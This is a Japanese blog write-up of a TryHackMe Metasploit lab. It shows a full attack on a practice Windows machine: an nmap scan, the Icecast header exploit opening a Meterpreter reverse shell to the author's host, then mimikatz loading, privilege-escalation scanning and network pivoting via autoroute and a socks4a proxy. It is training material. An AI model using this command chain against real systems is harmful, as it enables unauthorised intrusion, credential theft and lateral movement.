Port 53

明日のための技術メモ

TryHackMe Room:Metasploit 後半

TryHackMeのMetasploit演習、今度は実際にやられマシンにペンテストしてみます。

Metasploitは実際の攻撃にも使えてしまうため、くれぐれも自身の管理下でないNWや端末に対して
許可なく実行しないこと!悪用厳禁!

tryhackme.com

前半はこちら。

port53.hatenablog.com

目次

Task5 Move that shell!

ここからやられマシンを立ち上げる。
Metasploitには、nmapを実行し、その結果をデータベースに直接反映する方法があるため、
そのとおり実行してみる。

msf5 > db_nmap -sV 10.10.86.237
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 16:51 JST
[*] Nmap: Nmap scan report for 10.10.86.237
[*] Nmap: Host is up (0.41s latency).
[*] Nmap: Not shown: 989 closed ports
[*] Nmap: PORT      STATE SERVICE            VERSION
[*] Nmap: 135/tcp   open  msrpc              Microsoft Windows RPC
[*] Nmap: 139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
[*] Nmap: 3389/tcp  open  ssl/ms-wbt-server?
[*] Nmap: 5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[*] Nmap: 8000/tcp  open  http               Icecast streaming media server
[*] Nmap: 49152/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49153/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49154/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49160/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: 49161/tcp open  msrpc              Microsoft Windows RPC
[*] Nmap: Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 135.76 seconds

この結果を見ていくと、ポート135番に msrpcがいることが分かる。 続いて、db_nmapを実行して格納した結果から、さらに素性を探るため、hostsを実行する。

msf5 > hosts

Hosts
=====

address       mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---  ----  -------  ---------  -----  -------  ----  --------
10.10.86.237             Unknown                    device         

うーん、あまり収穫がないので、servicesを実行して、実行サービスを確認。
httpとか、netbiosとかも動いていることが分かる。

msf5 > services
Services
========

host          port   proto  name               state  info
----          ----   -----  ----               -----  ----
10.10.86.237  135    tcp    msrpc              open   Microsoft Windows RPC
10.10.86.237  139    tcp    netbios-ssn        open   Microsoft Windows netbios-ssn
10.10.86.237  445    tcp    microsoft-ds       open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.86.237  3389   tcp    ssl/ms-wbt-server  open   
10.10.86.237  5357   tcp    http               open   Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.10.86.237  8000   tcp    http               open   Icecast streaming media server
10.10.86.237  49152  tcp    msrpc              open   Microsoft Windows RPC
10.10.86.237  49153  tcp    msrpc              open   Microsoft Windows RPC
10.10.86.237  49154  tcp    msrpc              open   Microsoft Windows RPC
10.10.86.237  49160  tcp    msrpc              open   Microsoft Windows RPC
10.10.86.237  49161  tcp    msrpc              open   Microsoft Windows RPC

指示書きを見ると、vulnsを実行しろと言われる。
今はまだ記録がないが、脆弱性が見つかればここに追加されるとのこと。

msf5 > vulns

Vulnerabilities
===============

Timestamp  Host  Name  References
---------  ----  ----  ----------

続いて、Payloadを選択。先程の結果からIcecast streaming media serverが動いているので、
ここではicecastというPayloadを選択する。
すると、プロンプトにはExploitのフルパスであるexploit/windows/http/icecast_headerが入る。

msf5 > use icecast
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite                                                    


[*] Using exploit/windows/http/icecast_header

次は、search multi/handler を実行する。結果から、#カラムにある番号を指定すれば、
わざわざモジュールの名前を入れずとも使いたいモジュールを選択することができる。

msf5 exploit(windows/http/icecast_header) > search multi/handler

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   5  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence
   6  exploit/multi/handler                                                 manual     No     Generic Payload Handler
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution


Interact with a module by name or index, for example use 8 or use exploit/windows/mssql/mssql_linkcrawler  
msf5 exploit(windows/http/icecast_header) > use 6
[*] Using configured payload generic/shell_reverse_tcp

パラメータの設定をする。Payloadをwindows/meterpreter/reverse_tcpに指定する。
ローカル側(攻撃元)を示すLHOSTについては、ip atun0に出てくるIPアドレスを指定する。

msf5 exploit(windows/browser/persits_xupload_traversal) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
 
# LHOSTはtun0のIPアドレスを指定
msf5 exploit(windows/browser/persits_xupload_traversal) > set LHOST 10.4.11.125
LHOST => 10.4.11.125

さて、use icecastで前に戻り、リモートホスト(RHOSTS)の設定をする。 今回は、やられマシンのIPアドレスを設定する。

msf5 exploit(windows/browser/persits_xupload_traversal) > use icecast
[*] Using configured payload windows/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


[*] Using exploit/windows/http/icecast_header
msf5 exploit(windows/http/icecast_header) > set RHOSTS 10.10.86.237
RHOSTS => 10.10.86.237

show optionsで設定を確認する

msf5 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.86.237    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.4.11.125      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

設定が正しいことを確認して、run -jexploitでいざ実行!
sessions -i SESSION_NUMで、確立したセッションに入ることができた。

sf5 exploit(windows/http/icecast_header) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.4.11.125:4444 
msf5 exploit(windows/http/icecast_header) > [*] Sending stage (176195 bytes) to 10.10.209.46
[*] Meterpreter session 1 opened (10.4.11.125:4444 -> 10.10.209.46:49217) at 2020-09-28 21:05:06 +0900
jobs

Jobs
====

No active jobs.

msf5 exploit(windows/http/icecast_header) > sessions

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  1         meterpreter x86/windows  Dark-PC\Dark @ DARK-PC  10.4.11.125:4444 -> 10.10.209.46:49217 (10.10.209.46)

msf5 exploit(windows/http/icecast_header) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Task6 We're in, now what?

ということでやられマシンに入れた。さらに探索を続ける。
入ったセッションでpsコマンドを実行してみると、このマシン名はDark-PCで、
ユーザにDarkという人がいるらしい。いかにも、っていう感じ。

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User          Path
 ---   ----  ----                  ----  -------  ----          ----
 0     0     [System Process]                                   
 4     0     System                                             
 416   4     smss.exe                                           
 544   536   csrss.exe                                          
 584   692   svchost.exe                                        
 592   536   wininit.exe                                        
 604   584   csrss.exe                                          
 652   584   winlogon.exe                                       
 692   592   services.exe                                       
 700   592   lsass.exe                                          
 708   592   lsm.exe                                            
 816   692   svchost.exe                                        
 884   692   svchost.exe                                        
 932   692   svchost.exe                                        
 1020  692   svchost.exe                                        
 1056  692   svchost.exe                                        
 1136  692   svchost.exe                                        
 1312  1020  dwm.exe               x64   1        Dark-PC\Dark  C:\Windows\System32\dwm.exe
 1328  1304  explorer.exe          x64   1        Dark-PC\Dark  C:\Windows\explorer.exe
 1364  692   spoolsv.exe                                        
 1392  692   svchost.exe                                        
 1432  692   taskhost.exe          x64   1        Dark-PC\Dark  C:\Windows\System32\taskhost.exe
 1540  816   WmiPrvSE.exe                                       
 1572  692   amazon-ssm-agent.exe                               
 1648  692   LiteAgent.exe                                      
 1688  692   svchost.exe                                        
 1840  692   Ec2Config.exe                                      
 2100  692   svchost.exe                                        
 2280  1328  Icecast2.exe          x86   1        Dark-PC\Dark  C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
 2584  692   SearchIndexer.exe                                  
 2636  692   sppsvc.exe                    

プロセスに自身を埋め込むには、migrateコマンドを使うが、権限が足りないので我慢。
権限昇格さえできれば...むむむ...

meterpreter > migrate 1392
[*] Migrating from 2280 to 1392...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)

現在のプロセスを実行しているユーザの詳細情報を知るために、getuidコマンドを使う。

meterpreter > getuid
Server username: Dark-PC\Dark

sysinfoで、やられマシンの詳細情報をもっと集める。
どうもWindows7 64bit版のマシンに入り込んだらしい。

meterpreter > sysinfo
Computer        : DARK-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Mimikatz召喚。
MimikatzはWindowsに使われるポストエクスプロイトツール。
メモリに保存されたパスワード、ハッシュ、PIN,Kerberosのチケット等を抽出でき、
Pass-the-Hash攻撃、Pass-the-Ticket攻撃、Kerberosのゴールデンチケット作成にも使われる。
マルウェアにもこいつが使われることがある。

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.

現在のユーザの特権を調べるには、getprivisを使う。
一般ユーザと思われるので、あんまり強い権限はなさそう。

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

もちろん、ipconfigIPアドレスの情報も見られる。

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a0a:56ed
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 02:cf:c4:a8:e7:df
MTU          : 9001
IPv4 Address : 10.10.86.237
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::1c14:c35a:158d:bc17
IPv6 Netmask : ffff:ffff:ffff:ffff::

Metasploitのモジュールを使って、VMかどうかを調査する。 run post/windows/gather/checkvmを実行したところ、このマシンはVMであることが判明。

meterpreter > run post/windows/gather/checkvm

[*] Checking if DARK-PC is a Virtual Machine ...
[+] This is a Xen Virtual Machine

さらにもう1つ、特権ユーザになれそうな脆弱性がないか調査する。 run post/multi/recon/local_exploit_suggesterを使う。

meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.86.237 - Collecting local exploits for x86/windows...
[*] 10.10.86.237 - 34 exploit checks are being tried...
[+] 10.10.86.237 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.10.86.237 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.86.237 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

権限昇格してないのでできないが、強制的にRDPを起動させることも可能。
run post/windows/manage/enable_rdpを実行してみる

meterpreter > run post/windows/manage/enable_rdp

[-] Insufficient privileges, Remote Desktop Service was not modified
[*] For cleanup execute Meterpreter resource file: /home/sheep/.msf4/loot/20200906172631_default_10.10.86.237_host.windows.cle_452933.txt

他に、ファイルを転送する時はupload, Metasploitモジュールを実行したい時はrun,
通常のshellを実行したい時はshellが使える。

Task7 Makin' Cisco Proud

Metasploitの自動ルーティングオプションについて勉強する。
これができるようになると、侵入先のマシンでさらにNWがないか探索できる。

使い方は、run autoroute -hで確認。

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module

例えば、172.18.1.0/24をルーティングに追加したい時は、以下のように使う。

meterpreter > run autoroute -s 172.18.1.0 -n 255.255.255.0

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.18.1.0/255.255.255.0...
[+] Added route to 172.18.1.0/255.255.255.0 via 10.10.86.237
[*] Use the -p option to list all active routes

今のMeterpreterセッションをバックグラウンド起動させておいて、
そのセッションからsocks4aプロキシサーバを起動することもできる。

msf5 exploit(windows/http/icecast_header) > search server/socks4a

Matching Modules
================

   #  Name                      Disclosure Date  Rank    Check  Description
   -  ----                      ---------------  ----    -----  -----------
   0  auxiliary/server/socks4a                   normal  No     Socks4a Proxy Server

socks4aプロキシ起動後、/etc/proxychains.confファイルを変更して新しいサーバを入れられる。 socks4aサーバーを介してプロキシチェーンでコマンドを実行するためには、proxychainsが使える。

だいぶ長くなったけど、また他のやられマシンで少しずつ慣れていきたい。